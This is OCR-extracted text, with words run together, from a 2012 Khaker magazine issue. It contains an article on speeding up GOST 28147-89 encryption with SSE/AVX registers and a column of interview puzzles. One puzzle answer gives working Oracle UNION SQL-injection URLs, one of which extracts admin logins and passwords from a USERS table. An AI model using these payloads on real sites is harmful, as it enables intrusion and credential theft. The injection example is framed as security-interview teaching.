минимумдействий, необходимый для работы программы, завершен, проверьее на устройстве или эмуляторе, все работает так, как планировали.Совет: при вставке данных их лучше проверять на корректность значенийили хотя бы поместить блок кода в конструкцию try/catch.WWWwww.microsoft.com— на этом сайтенаходится многоинтереснойдокументациио Windows Phoneи сопутствующихтехнологиях.DVDНа диске находятсяпримеры для всехсеми рецептов,рассмотренныхв статье. Тамже ты найдешьразработаннуюнами БД.Рис. 5. Приложение для работы с БДРис. 4. Создание таблицы PlayersВЫВОДЫВ статье мы рассмотрели два типа рецептов кодинга для смартфоновна базе ОС Windows Phone: первые четыре рецепта посвященыработе со встроенными девайсами средствами SDK 7.1, последниетри трюка показали, как хранить, загружать и обрабатывать структурированныеданные. Однако, посмотрев на то, что мы сегоднясделали, я решил, что сделали мы все отлично :). Смущает развечто простейший интерфейс написанного. А ведь современныйпользователь смартфона обращает на него внимание в первуюочередь! Поэтому — не расслабляйся, в следующем номере тебябудет ждать новая порция рецептов, посвященная этой теме. Довстречи! zХАКЕР 08 /163/ 2012 089


КОДИНГR_T_TДОСТИГАЕМ ФЕНОМЕНАЛЬНОЙ СКОРОСТИНА ПРИМЕРЕ ШИФРОВАНИЯ ГОСТ 28147—89ХАРДКОРНЫЙ ПУТЬк производительностизвестный в обществе термин «производительность процессора»представляет собой объективный, вычисляемыйИпараметр, который меряют во флопах. Впрочем, большинствоизмеряет его в гигагерцах, по наивности полагая, что это однои то же. Термин «производительность кода» не знает никто, и сразуобъясню почему.Причина в том, что я его только недавно придумал и поканикому об этом не рассказывал. Однако производительность кода,так же как и производительность процессора, имеет объективныехарактеристики, которые поддаются измерениям. Эта статья —именно о производительности кода, выполняемого процессорнымядром.В чем измеряется производительность кода? Поскольку япервый об этом заговорил, то по праву первооткрывателя буду егоизмерять в RTT-шках ;).Теперь серьезно. В современных процессорах основными преобразованиямиявляются действия над 32-битными числами, всеостальное по большому счету экзотика. Поэтому учитывать будемглавное — операции с 32-битными числами. Как ты думаешь,сколько 32-битных операций одновременно может выполнить ядросовременного процессора?Студент ответит — одну, его преподаватель подумает и скажет,что четыре, профессионал — что пока только двенадцатьопераций.Так вот, программный код, который загружает все исполнительныеустройства процессора одновременно на протяжениивсего времени исполнения кода, будет иметь производительность12 RTT-шек. Максимум! Честно признаюсь, такого кода я раньшене писал, но в этой статье попытаюсь сделать над собой усилие.Программный код, который использует в процессорном ядреодно исполнительное устройство, естественно, будет иметь производительностьв 1 RTT-шку. Такой производительностью кодамогут «похвастаться» программы, генерируемые компиляторамиязыков высокого уровня, и интерпретаторы виртуальных машин.Не нужно считать, что показатель загрузки процессора, которыйможно увидеть в диспетчере задач ОС, может служить объективнымкритерием эффективности кода. Загрузка ядра процессораможет быть 100%, но при этом программный код будет использоватьодно исполнительное устройство в нем (производительность1 RTT). В этом случае при 100%-й загрузке процессорное ядробудет работать в 1/12 своей максимальной производительности.Другими словами, когда в диспетчере задач ОС Windows показываетсямаксимальная загрузка процессора, его реальная производительностьможет варьироваться от 1 до 12 RTT. Увидев в окнепроизводительности 100%-ю загрузку на каком-либо процессорномядре, неправильно считать, что в этом ядре работают все исполнительныеустройства, отнюдь!Единственным критерием косвенной оценки работы процессорногоядра с максимальной производительностью может служить егоэнергопотребление и, как следствие, шум кулера. Вот если кулерзашумел, тогда да — загрузка пошла по максимуму. Впрочем, поразаканчивать с общими понятиями и переходить к суровой практике.090ХАКЕР 08 /163/ 2012


Хардкорный путь к производительностиТРАДИЦИОННАЯ РЕАЛИЗАЦИЯ ГОСТ 28147—89Я не профессионал в области информационной безопасности,но все же знаком с темой шифрования. Заняться конкретно симметричнымпоточным шифрованием меня подвигли разговорыс профессиональным криптографом, которого я глубоко уважаю.И, занявшись этой темой, я постарался сделать именно хорошо,и не просто хорошо, а еще и быстро, выполняя максимальноечисло операций за единицу времени. Другими словами, передомной встала задача написать программный код с максимальнымзначением RTT.Криптографическое преобразование по ГОСТ 28147—89 используетсядля поточного шифрования информации в каналах связии на дисковых накопителях.В настоящее время повсеместно применяется программнаяреализация данного ГОСТа на РОН центрального процессора.В известных методах реализации ГОСТа вся секретная информация(ключи шифрования, блоки замен) размещаются в оперативнойпамяти. Это снижает надежность шифрования, поскольку,имея дамп оперативной памяти, можно полностью выявить всесекретные элементы криптопреобразования. Кроме этого, методимеет ограничения по быстродействию, обусловленные расположениемосновных объектов криптопреобразования в ОП и неполнойзагрузкой исполнительных устройств ALU. Современныепроцессоры, реализуя криптопроцедуру по известному методу,могут обеспечить скорость шифрования на уровне 40–60 мегабайтв секунду. И если уж разбираться до конца, то причиной низкогобыстродействия и слабой защищенности криптопреобразованияявляется программная реализация блока подстановок. Описаниеего в ГОСТе см. на рис. 1.По п. 1.2 ГОСТа этот блок реализует тетрадные (по четыре бита)перестановки в 32-битном слове, но архитектура процессорах86/64 и его система команд неспособна эффективно манипулироватьтетрадами.Для программной реализации блока подстановок используютспециальные таблицы в оперативной памяти, подготавливаемыена этапе инициализации криптофункции. Эти таблицы объединяютузлы замен смежных тетрад в байтовые таблицы размером 88бит, таким образом, в оперативной памяти размещается четыре256-байтных таблицы.В более продвинутых реализациях эти таблицы имеют размер 1024байта (256 слов по четыре байта). Это сделано для того, чтобы реализоватьв таблицах дополнительно циклический сдвиг на 11 позицийполученного в результате подстановки 32-битного слова (следующаяоперация алгоритма преобразования по ГОСТу). Пример реализацииГОСТа по данному методу показан в приложении 1 (на диске).Информация блока подстановок является секретным компонентомкриптофункции (как это сформулировано в ГОСТе, см. на рис. 2).Размещение этих таблиц с ключами блока подстановок в ОПпротиворечит требованиям ГОСТа (п. 1.7), поскольку секретнаяинформация становится доступной для сторонних программ,работающих на вычислительной установке. Регулирующие органы,сертифицирующие в том числе и программные реализации шифрованияпо ГОСТу, на данное нарушение смотрят, мягко говоря,снисходительно. Если для размещения ключей в ОП еще требуетсяналичия «фигового листочка» — маскирования ключей операциейXOR, то для блоков замен в ОП ничего не требуется, они хранятсяв открытом виде.Короче говоря, регулирующие органы пропускают такие программныереализации криптопроцедуры, несмотря на явное снижениестойкости такого решения и прямое нарушение собственныхРис. 1. Цитата из ГОСТаРис. 2. Еще одна цитата из ГОСТатребований по ГОСТу (п. 1.7). И это несмотря на общеизвестныеметоды взлома шифров через съем дампа памяти…К вопросу хранения ключей и блоков замен во внутреннихрегистрах процессора мы вернемся чуть позже (есть красивоеи быстрое решение), а пока мы будем хранить в ММХ-регистрахтолько ключи шифрования, это надежнее.Но хватит лирики, важно в рамках рассматриваемой темы то,что этот программный код имеет производительность в 1 RTT-шку.Теперь напишем код с производительностью 2 RTT-шки.МНОГОПОТОЧНАЯ РЕАЛИЗАЦИЯ ГОСТ 28147—89Единственной возможностью ускорить криптопроцедуры в известномалгоритме является введение многопоточности. Смыслтакого изменения реализации алгоритма заключается в том, чтобыобсчитывать сразу несколько блоков данных параллельно.Большинство программистов подразумевает под параллельнойобработкой исключительно работу нескольких процессорных ядер,синхронизированных через прерывания и семафоры в памяти.Однако существует и иной вариант параллельной обработкиданных на одном-единственном ядре процессора. Поясню этунеочевидную мысль.Современные процессоры имеют в своем составе как минимумдва, а то и три-шесть арифметико-логических устройств. Эти АЛУ(FPU, блоки адресной арифметики и так далее) могут работатьнезависимо друг от друга, единственное условие их параллельнойработы — непересекающиеся программные объекты, которымиони оперируют. Другими словами, в командах, которые одновременновыполняют АЛУ, адреса памяти и номера регистров должныбыть разными. Либо в общие регистры и адреса памяти, к которымобращаются различные исполнительные устройства процессора,не должно выполняться операций записи.Загрузкой работой всех АЛУ управляет специальный аппаратныйблок внутри процессорного ядра — планировщик, которыйпросматривает исполняемый код форвардно, на глубину до 32–64байт. Если планировщик обнаруживает команды, которые можнозапускать на АЛУ без конфликтов, то он их запускает одновременнона разных исполнительных устройствах. При этом счетчик выполненныхкоманд указывает на ту исполняемую команду (их в такойсхеме несколько), после которой все команды уже выполнены.Большинство программных последовательностей, генерируемыхавтоматически (компиляторами), не могут загрузить все АЛУи FPU, находящиеся в ядре процессора. В этом случае обору-Я ДОКАЖУ, ЧТО КОД С ОДНОВРЕМЕННЫМ ВЫПОЛНЕНИЕМДВЕНАДЦАТИ 32-БИТНЫХ ОПЕРАЦИЙ — ВОЗМОЖЕНХАКЕР 08 /163/ 2012 091


КОДИНГдование процессора простаивает, что значительно снижает егорезультирующую производительность. Разработчики процессоровэто понимают и вводят режимы увеличения частоты ядра, когдаоборудование используется не полностью. Также для этого предназначенысистемы гипертрейдинга, и эту систему я буду использоватьдля «прессования» кода по максимуму в дальнейшем.Компиляторы, даже самые оптимизированные, и тем более —движки виртуальных машин, не могут формировать оптимизированныйкод с точки зрения быстродействия. Только программистс инженерными знаниями может написать такой оптимизированныйкод, причем инструментом для его написания являетсяисключительно ассемблер.Характерной иллюстрацией возможности выполнения несколькихнезависимых программных потоков на одном ядре процессораслужит реализация ГОСТа, выполняемая в два потока на единственномядре процессора. Идея кода проста: имеется два блокаданных для шифрации/дешифрации, но одно ядро процессора,которое будет выполнять преобразование. Можно выполнить дляэтих двух блоков данных преобразование последовательно, таки делается до настоящего времени. В этом случае время, требуемоена выполнение преобразований, удваивается.Но можно поступить и иначе: чередовать команды, относящиесяк обработке разных блоков данных. Графически эти вариантыпредставлены на рис. 3.На рисунке верхний пример показывает обычный порядок выполненияобработки двух независимых блоков данных. Сначала обрабатываетсяпервый блок, затем процессор переходит к обработкевторого блока. Естественно, результирующее время равно удвоенномувремени, которое необходимо для обработки одного блока, а исполнительныеустройства ядра процессора загружены не полностью.Далее показан пример с чередованием команд из разных потоковобработки. В этом случае команды, относящиеся к разнымблокам данных, чередуются. Планировщик выбирает независимыедруг от друга команды и передает их на выполнение в АЛУ1и АЛУ2. Группировка команд первого и второго потока на этих АЛУосуществляется автоматически, поскольку в алгоритм работы планировщиказаложена группировка команд с зацеплением по общимданным на одном и том же исполнительном устройстве.Чтобы такой программный код работал без простоев АЛУ, необходимо,чтобы каждый программный поток работал со своимнабором регистров. Кеш в этой схеме становится узким местом(у него только два порта выдачи данных), поэтому ключи хранимв MMX-регистрах. Поскольку в данном случае узлы замены (и сдвига)в памяти только читаются, то они могут быть общими для обоихпрограммных потоков.Это, конечно, очень упрощенное объяснение принципа параллельноговыполнения программных потоков на единственномядре, реально все гораздо сложнее. На практике нужно учитыватьконвейерную архитектуру исполнительных устройств, ограниченияна одновременный доступ в кеш и блок регистров РОН, наличиеузлов адресной арифметики, коммутаторов и много еще чего… Такчто это — тема для профессионалов, которых можно пересчитатьпо пальцам… одной руки.Метод параллельного шифрования эффективно реализуетсятолько для 64-битного режима работы процессора, посколькув этом режиме имеется достаточное количество РОН (целых 16штук!). Пример реализации ГОСТа по данному методу показанв приложении 2 (на диске).Ясно, что данная реализация ГОСТа имеет производительностькода 2 RTT-шки. А теперь посмотрим, как это сказывается навремени выполнения.Цикл шифрования для одного потока (приложение 1) составляет352 такта, и за это время обсчитывается 8 байт данных, для двухпоточнойреализации ГОСТа (приложение 2) требуется 416 тактовпроцессора, но при этом обсчитывается 16 байт. Таким образом,результирующая скорость преобразования повышается с 80 до 144мегабайт для процессора частотой 3,6 ГГц.Рис. 3. Чередование командИнтересная получается картина: код содержит ровно в два разабольше команд, а выполняется всего на 15% дольше, но, думаю,читатели уже поняли причину этого феномена…Теоретически код из второго примера должен выполнятьсяза такое же количество тактов, что и код из первого примера, ноузел планировщика разрабатывают хоть и инженеры фирмы Intel,но тоже люди, а мы все далеки от совершенства. Так что имеетсявозможность оценить эффективность их творения. Этот код будетработать и на процессоре AMD, и можно сравнить их результаты.Если кто мне не верит на слово, то для таких неверующих надиске прилагаются тестовые программы с счетчиками тактов.Программы в исходных кодах, естественно на ассемблере, так чтоесть возможность проверить мои слова, а заодно и подсмотретьнекоторые хитрости профессионального кодинга.ИСПОЛЬЗОВАНИЕ SSE-РЕГИСТРОВ И AVX-КОМАНДСОВРЕМЕННЫХ ПРОЦЕССОРОВ ДЛЯ РЕАЛИЗАЦИИГОСТ 28147—89Современные процессоры архитектуры х86/64 имеют в своемсоставе набор регистров SSE размером 16 байт и специализированныеFPU (как минимум два) для выполнения различныхопераций над этими регистрами. Возможна реализация ГОСТана этом оборудовании, причем в этом случае узлы замены можноразмещать не в виде таблиц в оперативной памяти, а непосредственнона выделенных SSE-регистрах.На одном SSE-регистре можно разместить сразу две таблицыиз 16 строк. Таким образом, четыре SSE-регистра позволят полностьюразместить все таблицы замен. Единственным условиемтакого размещения является требование чередования, согласнокоторому тетрады одного байта должны помещаться в разныеSSE-регистры. Кроме этого, целесообразно размещать младшиеи старшие тетрады входных байтов соответственно в младшихи старших тетрадах байтов SSE-регистров.Эти требования обуславливаются оптимизацией под имеющийсянабор AVX-команд.Таким образом, каждый байт SSE-регистра будет содержать двететрады, относящиеся к разным байтам входного регистра блокаподстановок, при этом позиция байта на SSE-регистре однозначносоответствует индексу в таблице замены блока подстановки.Схема одного из возможных размещений узлов замены наSSE-регистрах показана на рис. 4.Размещение секретной информации узлов замен на SSEрегистрахповышает защищенность криптопроцедуры, но полнаяизоляция этой секретной информации возможна при соблюденииследующих условий:• Ядро процессора переведено в режим хоста гипервизора, и внем принудительно отключен блок прерываний (APIC). В этом092ХАКЕР 08 /163/ 2012


Хардкорный путь к производительностиРис. 4. Схема одного из возможных размещений узлов замены на SSE-регистрахРис. 5. Преобразование в блоке подстановокслучае ядро процессора полностью изолировано от ОС и приложений,функционирующих на вычислительной установке.• Загрузка SSE-регистров и изоляция вычислительного ядрапроизводится до начала старта ОС, оптимальным является выполнениеэтих процедур с модуля доверенной загрузки (МДЗ).• Программы криптопроцедур по ГОСТу размещаются в немодифицируемойобласти памяти вычислительной установки (либоБИОС, либо в флеш-памяти МДЗ).Выполнение этих требований позволит гарантировать полнуюизоляцию и неизменность программного кода криптопроцедури используемой в них секретной информации.Для эффективной выборки из SSE-регистров тетрад используютсяимеющиеся в составе блоков FPU многовходовые байтовыекоммутаторы. Эти коммутаторы позволяют осуществлятьпересылки из любого байта источника в любой байт приемника,по индексам, находящимся в специальном индексном SSEрегистре.Причем параллельно выполняется пересылка для всех16 байт SSE-регистра-приемника.Имея узлы хранения подстановок на SSE-регистрах и многовходовыйкоммутатор в блоках FPU, можно организовать следующеепреобразование в блоке подстановок (рис. 5).В этой схеме входной регистр в каждой тетраде задает адресдля соответствующего коммутатора, который по шине данныхпередает из накопителей узлов замены информацию в выходнойрегистр.Такую схему можно организовать тремя способами:• Создать соответствующий дизайн чипа, но это для нас фантастика.• Перепрограммировать микрокод и создать собственную процессорнуюкоманду для реализации этой функции на существующихпроцессорах — это уже не фантастика, но, к сожалению,нереально в нынешних условиях.• Написать программу на официальных командах AVX. Вариантпускай и не очень эффективный, но зато осуществим «здесьи сейчас». Так что этим и займемся далее.Работой коммутаторов управляет специальная трехадреснаякоманда AVX VPSHUFB. Ее первый операнд является приемникоминформации из коммутаторов, второй — источником, к которомуподключены входы коммутаторов. Третий операнд являетсяуправляющим регистром для коммутаторов, каждый байт которогоассоциирован с соответствующим коммутатором; значениев нем задает номер направления, с которого коммутатор считываетинформацию. Описание этой команды из официальной документацииIntel см. на рис. 6. На рис. 7 приведена схема работыэтой команды — изображена только половина SSE-регистров,для второй половины все аналогично.Коммутатор использует только младшие четыре бита дляопределения направления коммутации, последний бит в каждомбайте используется для принудительного обнуления соответствующегобайта приемника, но эта функция коммутатора в нашемслучае пока не востребована.Программа с выборкой тетрад через коммутаторы FPU быланаписана, но я даже не стал помещать ее в приложение — слишкомубого. Иметь регистр размером 128 бит и использовать в немтолько 32 бита — непрофессионально.Как говорится, «Наш финиш — горизонт», поэтому выжиматьтак выжимать... будем прессовать и складывать в пакеты!Это не игра слов, а суровая FPUшная реальность — регистрыSSE можно разбивать на равные части и выполнять надэтими частями одинаковые преобразования одной командой.Для того чтобы процессор это понял, имеется магическая буковкаР — пакет, которая ставится перед мнемоникой команды,и не менее магические буковки Q, D, W, B, которые ставятсяв конце и объявляют, на какие части разбиты в этой командерегистры SSE.Нас интересует пакетный режим с разбивкой SSE-регистрана четыре 32-битных блока; соответственно, все команды будутиметь префикс «P», а в конце — символ «D». Это дает возможностьодной процессорной командой параллельно обрабатыватьсразу четыре блока по 32 бита, то есть в параллель рассчитыватьчетыре блока данных.Программа, реализующая этот метод, имеется в приложении3, там же — все пояснения.Впрочем, прессовать так прессовать! В современных процессорахимеется как минимум два блока FPU, и для их полнойзагрузки можно использовать два потока независимых команд.Если грамотно чередовать команды из независимых потоков,то можно загрузить работой оба блока FPU полностью и получитьсразу восемь параллельно обрабатываемых потоков данных.Такая программка была написана, и ее можно посмотреть в при-Рис. 6. Цитата из официальной документации IntelХАКЕР 08 /163/ 2012 093


КОДИНГложении 4, только смотреть нужно осторожно — можно слететьс катушек. Это, что называется, «код не для всех...».ЦЕНА ВОПРОСАИспользование SSE-регистров для хранения узлов замены понятно— оно дает некую гарантию изоляции секретной информации,а вот смысл расчета самой криптофункции на FPU неочевиден.Поэтому были проведены замеры времени выполнениястандартных процедур по методу прямой замены в соответствиис ГОСТом для четырех и для восьми потоков.Для четырех потоков была получена скорость выполнения 472процессорных такта. Таким образом, для процессора с частотой3,6 ГГц один поток считается со скоростью 59 мегабайт в секунду,а четыре потока соответственно со скоростью 236 мегабайтв секунду.Для восьми потоков была получена скорость выполнения 580процессорных тактов. Таким образом, для процессора с частотой3,6 ГГц один поток считается со скоростью 49 мегабайт в секунду,а восемь потоков со скоростью 392 мегабайта в секунду.Как может заметить читатель, код в примере № 3 имеет производительность4 RTT, а код в примере № 4 имеет производительность8 RTT. В этих примерах на SSE-регистрах закономерностите же, что и при использовании РОН, только планировщик снизилсвою эффективность. Сейчас он обеспечивает 20%-е увеличениедлительности при двукратном увеличении длины кода.Причем эти результаты были получены с использованиемуниверсальных AVX-команд, имеющихся как в процессорах Intel,так и в процессорах AMD. Если выполнить оптимизацию под процессорAMD, результат будет значительно лучше. Звучит поперектренда, но тем не менее это правда, и вот почему: процессорыAMD имеют дополнительный набор команд, так называемое XOPрасширение,и в этом дополнительном наборе команд есть такие,которые значительно упрощают реализацию алгоритма ГОСТа.Имеются в виду команды логического пакетного сдвига байтови пакетного циклического сдвига двойных слов. В примерах,приведенных в приложениях 3 и 4, используются последовательностиуниверсальных команд, реализующих необходимоепреобразование: в первом случае одна «лишняя» команда, а вдругом случае сразу четыре лишних команды. Так что резервыоптимизации есть, и немалые.Если речь зашла о дальнейшей оптимизации, нелишнепомнить о наличии 256-битных регистров (YMM-регистры),используя которые можно теоретически еще удвоить скоростьвычислений. Но пока это только перспектива, на данный моментпроцессоры очень сильно замедляются, когда выполняют256-битные инструкции (FPU имеют ширину тракта 128 бит).Эксперименты показали, что на современных процессорах счетв 16 потоков на YMM-регистрах выигрыша не дает. Но это толькопока, на новых моделях процессоров, несомненно, будет увеличенобыстродействие 256-битных команд, и тогда использование16 параллельных потоков станет целесообразно и приведетк еще большему увеличению скорости работы криптопроцедуры.Теоретически можно рассчитывать на скорость 600–700 мегабайтв секунду при наличии в процессоре двух FPU с ширинойрабочего тракта 256 бит каждый. В этом случае можно говоритьо написании кода с эффективностью 16 RTT, и это не фантастика,а ближайшая перспектива.СМЕШАННЫЙ РЕЖИМБудем прессовать дальше. Наша цель — получить 12 RTT-шек,это можно сделать, выполняя команды одновременно на всехимеющихся в ядре процессора FPU. Их у Intel три штуки, мы жепока задействовали только два, так что вперед!Опять встает вопрос количества регистров, их не хватает,чтобы раскрутить такой алгоритм. Но нам поможет режимгипертрейдинга. У процессорного ядра имеется второй наборрегистров, доступных в режиме логических процессоров. Поэто-Рис. 7. Схема командыму будем выполнять один и тот же код сразу на двух логическихпроцессорах. В этом режиме исполнительных устройств у нас,конечно, не прибавится, но за счет чередования можно получитьполную загрузку всех исполнительных устройств.Рассчитывать на прибавку в 50% здесь не приходится, узкимместом становится кеш-память, где хранятся технологическиемаски, но прибавку в 100 дополнительных мегабайт всеже получить можно. Этот вариант не приведен в приложениях(макросы аналогичны используемым в коде на 8 RTT), но онимеется в программных файлах. Так что если кто не верит в возможностьшифрования со скоростью 500 мегабайт в секунду наодном процессорном ядре, пусть запустит тестовые файлы. Тамже есть и тексты с комментариями, чтобы никто не подумал, чтоя лукавлю.Такой фокус возможен только на процессорах Intel, у AMDтолько два блока FPU на два процессорных модуля (аналог режимагипертрейдинг). Но зато имеется еще четыре АЛУ, которыегрех не использовать.Можно загнать процессорные модули «Бульдозера» в режим,аналогичный режиму гипертрейдинга, но запускать на разныхмодулях в одном потоке преобразование на РОН, а в другомпотоке на SSE-регистрах и получить те же 12 RTT. Этот вариантя не проверял, но, думаю, на AMD код в 12 RTT будет работатьболее эффективно. Желающие могут попробовать, тестовые программыможно подкорректировать для работы на «Бульдозерах»достаточно легко.КОМУ ЭТО НУЖНО?Серьезный вопрос, но с простым ответом — это нужно всем.Скоро все мы подсядем на облака, будем там хранить и данныеи программы, а там ой как хочется обустроить свой собственный,приватный уголок. Для этого придется шифровать трафик,и скорость криптопреобразования будет главным определяющимфактором комфортной работы в облаке. Выбор алгоритма шифрованияу нас невелик — либо ГОСТ, либо AES.Причем, как это ни странно, встроенное в процессоры шифрованиепо AES-алгоритму оказывается значительно медленнее,тесты показывают скорость на уровне 100–150 мегабайт в секунду,и это при аппаратной реализации алгоритма! Проблемазаключается в однопоточном счете и блоке замен, который оперируетбайтами (таблица из 256 строк). Так что ГОСТ оказываетсяэффективнее в реализации на архитектуре х86/64, кто бы могподумать…Это если говорить о достигнутом уровне скорости шифрования.А если иметь в виду теоретические изыски в областиповышения эффективности кода, то скорее всего это никому ненужно. Специалистов уровня 3–6 RTT практически нет, компиляторывообще генерят код на уровне 1–2,5 RTT, а основная массапрограммистов не знает ассемблера, а если и знает его правописание,то не понимает устройства современного процессора.А без этих знаний что ассемблер, что какой-нибудь там Сишарп— без разницы.Но не все так печально: в «сухом остатке» после неделибессонных ночей имеется новый алгоритм реализации ГОСТа,который грех не запатентовать. И заявки на патенты (целых три)уже оформлены и поданы, так что, господа коммерсанты, выстраивайтесьв очередь — женщинам и детям скидка. z094ХАКЕР 08 /163/ 2012


Реклама


КОДИНГПавел Александрович (ivinside.blogspot.com)Задачина собеседованияхПОДБОРКА ИНТЕРЕСНЫХЗАДАНИЙ, КОТОРЫЕ ДАЮТНА СОБЕСЕДОВАНИЯХВстречай типичный джентльменскийнабор брейнфака, простите, teas’а: двеголоволомные задачки для разминкимозгов и по одному экземпляру хакерскойи программерской направленности.Задача №1УСЛОВИЕУ вас есть наемный рабочий и кусок золота, разделенный на семьсоединенных сегментов. Вы должны давать рабочему по одномусегменту золота в день. Как оплатить ему семь рабочих дней, еслиотломать от куска золота можно только дважды?РЕШЕНИЕНадо сказать, что можно не только давать рабочему золото, нои забирать уже имеющееся! Здесь кроется ключ к успеху в этойзадаче. Итак, к концу каждого дня у рабочего должно бытьстолько сегментов, сколько дней он отработал, то есть от одногодо семи включительно. При этом разделить целый кусок мыимеем право только на три части. По всей видимости, кусок изодного сегмента нам потребуется в первый же день, поэтому отбезысходности отламываем его от всего куска. Во второй деньнам нужно отдать рабочему уже два куска. Здесь два варианта:либо отломить еще один сегмент, либо отломить сразу двасегмента, а отданный забрать обратно. Очевидно, что второйвариант более перспективен, и дальше ты поймешь почему!Кстати, дважды мы уже отломили от золота и в итоге получиликуски в один, два и четыре сегмента. У нас остается один кусокв один сегмент и один в четыре сегмента. На третий день мыотдаем рабочему один сегмент, который мы вернули во второйдень. В четвертый же день мы забираем у рабочего все нажитыенепосильным трудом богатства — один и два сегмента — и вручаемему кусок с четырьмя сегментами. День пятый: даем рабочемуодин сегмент, у него их становится пять, как и полагается.В шестой день мы забираем кусок в один сегмент и отдаем кусокв два сегмента. И наконец, седьмой день — отдаем оставшийсякусок! В итоге и рабочий доволен, и условия задачи неукоснительнособлюдены.Задача №2УСЛОВИЕНа базу завезли 100 килограммов свеклы. Содержание водыв свекле 99%. Через некоторое время свекла подвяла и содержаниеводы в ней стало 98%. Сколько стала весить свекла?Примечание: вместо свеклы в задачке могут фигурировать огурцы,грибы, репа, арбуз и прочие фрукты/овощи. Кому что по вкусу.РЕШЕНИЕПри решении этой задачи мозг рядового пользователя разрываетсямежду здравым смыслом и строгими математическими выкладками.Мы, конечно же, изберем второй путь. Содержание воды 99%,а стало быть, содержание сухого вещества — 1%. В килограммахэто равняется 99 и 1 соответственно. После усушки стало 98% водыи 2% сухого вещества. Очевидно, что после того, как свекла подвяла,количество сухого вещества не изменилось. Таким образом,2% веса — это по-прежнему один килограмм. Путем сложнейшихматематических вычислений получаем, что 100% веса — это *барабаннаядробь* 50 килограммов. Как видишь, никакой магии, а лишьхладнокровный расчет.Задача №3УСЛОВИЕПри обследовании веб-приложения вы обнаружили уведомлениеоб ошибке: «ERROR at line 15: ORA-01790: expression must havesame datatype as corresponding expression».Что приводит к появлению этой ошибки? Свидетельствует липриведенная ошибка о наличии уязвимости в приложении? Еслиошибка является уязвимостью, то какие действия вы предприметедля ее эксплуатации? Если вы считаете, что это уязвимость, то какбудет выглядеть ваше уведомление об уязвимости?РЕШЕНИЕОшибка «ERROR at line 15: ORA-01790: expression must havesame datatype as corresponding expression» появляется принесоответствии типов выражений, использующихся в оператореSELECT, например совместно с UNION. Появление этой ошибкиможет спровоцировать попытка выполнения SQL-инъекции в СУБДOracle на этапе подбора типов колонок:script.php?id=-1 union select 1,2,3,4,5,6,7,8 from USERS--SQL ERROR OCCURED:Error: 1790 ORA-01790: expression musthave same datatype as corresponding expressionЭта ошибка является специфичной для Oracle при проведенииSQL-инъекций, например, в MySQL не имеют никакого значениятипы колонок при объединении запросов. В данном случае можнопредположить наличие автоинкрементируемой колонки, котораяобычно идет первой. И если следующий запрос проходит без ошибок,то можно судить об успешно проведенной инъекции:096ХАКЕР 08 /163/ 2012


Задачи на собеседованияхscript.php?id=-1 union select 1,null,null,null,null,null,null,null from USERS--Главное в типах колонок — это не ставить нулевое значение нацелочисленный тип и не ставить целые числа на все остальныетипы колонок, кроме целочисленного. Для эксплуатации уязвимостиможно узнать логин/пароль администратора данного вебприложения,например следующим образом:script.php?id=-1 union select 1,login,password,null,null,null,null,null from USERS where id=1--Что касается уведомления об уязвимости (оно же securityadvisory), то им является та суммарная информация об уязвимости,которая публикуется в разнообразных багтрекерах. В уведомленииобычно содержатся типичные для всех источников пункты. Я возьмуза основу оформление с известного сайта securitylab.ru:Дата публикации: 15.06.2012Опасность: критическаяНаличие исправления: нетКоличество уязвимостей: 1CVSSv2 рейтинг: 7.5 (AV:N/AC:L/Au:N/C:P/I:P/A:P)CVE ID: нетВектор эксплуатации: удаленнаяВоздействие: компрометация содержимого базы данныхНаличие эксплойта: нетУязвимые продукты: скрипт script.php сайта victim.comОписание:Уязвимость позволяет удаленному пользователю выполнитьпроизвольные SQL-запросы на целевой системе.Уязвимость существует из-за недостаточной фильтрациипользовательских данных в параметре id скрипта script.phpРешение: способов устранения уязвимости в настоящее времяне существуетЗадача №4УСЛОВИЕКак определить, есть ли в односвязном списке циклы и с какихэлементов они начинаются?РЕШЕНИЕНаверное, самая распространенная задача, которую задают насобеседовании с программистами начального уровня. По крайнеймере мне ее задавали неоднократно. Итак, начнем с простого решения,основанного на флаге прохождения элементов списка. Предположим,что каждый элемент списка содержит такой флаг:struct Node {...bool bVisited;};Тогда для определения того, что элемент находится в цикле,от нас потребуется возводить этот флаг при прохождении каждогоэлемента. А при переходе к следующему элементу необходимо проверять,не возведен ли уже у него флаг посещения (bVisited == true).И если это так, то можно с чувством легкого неодобрения констатироватьфакт начала цикла:bool bCycle = false;pCurrent = pHead;while (pCurrent && !pCycle){if (pCurrent->bVisited == true) // Вот он, цикл!}pCycle = true;else{pCurrent->bVisited = true;pCurrent = pCurrent->pNext;}Правда, у меня в закромах нашелся куда более интересныйспособ решения этой задачки. Выглядит он так:p1 = p2 = head;do {p1 = p1->next;p2 = p2->next->next;} while (p1 != p2);Здесь используются два указателя — p1 и p2. Смысл состоитв том, что p2 движется по списку вдвое быстрее, чем p1. Такимобразом, если в списке есть цикл, то p2 в конечном итоге поравняетсяс p1. Этот способ не только более изящен, но еще и не требуетдополнительной памяти, которая в первом решении расходоваласьна флаги посещения. zВ СЛЕДУЮЩЕМ ВЫПУСКЕ1. Четырем туристам нужно ночью переправиться через реку по подвесномумосту. Мост уже сильно обветшал, в настиле есть дыры, и онможет выдержать одновременно не более двух человек (если на мостуокажется больше двух человек, мост обрушится). Туристам нужноосвещать дорогу фонариком, иначе они могут провалиться в дыру в настилемоста и погибнуть, но у них есть только один фонарик. Эти четыречеловека передвигаются с разной скоростью. Адам может перейтимост за одну минуту, Лари — за две минуты, Эджу нужно пять минут,самый медлительный из всех Боно — ему потребуется десять минут,чтобы перейти мост. Ровно через семнадцать минут мост обрушится.Каким образом все четверо могут успеть через него переправиться?2. В деревне, где живет пятьдесят семейных пар, каждый из мужейизменял своей жене. Каждая из женщин в этой деревне, как толькокто-то из мужчин изменил своей жене, немедленно узнает об этом(всем известно, как быстро распространяются сплетни в маленькихгородках), если только это не ее собственный муж (о своих бедахкаждый узнает последним). Законы этой деревни требуют, чтобыженщина, получившая доказательства неверности своего мужа,убила его в тот же день. Ни одна из женщин не может ослушаться.В селение приезжает королева, славящаяся своей непогрешимостью.Она объявляет жителям, что по крайней мере один из мужчин деревнисовершил супружескую измену. Что произойдет?3. Во время проведения пентеста вам в распоряжение предоставлено оборудованиеCisco на базе IOS. Задача — максимально быстро обнаружитьуязвимости в оборудовании. Опишите последовательность ваших действий(в том числе выполняемых команд), которые позволят выявитьмаксимальное количество возможных уязвимостей в предоставленномоборудовании.Примечание: вы обладаете полным доступом к указанномуоборудованию.4. Нужно нарисовать таблицу с большим количеством столбцов. Чтобытаблица уместилась в экран, заголовки 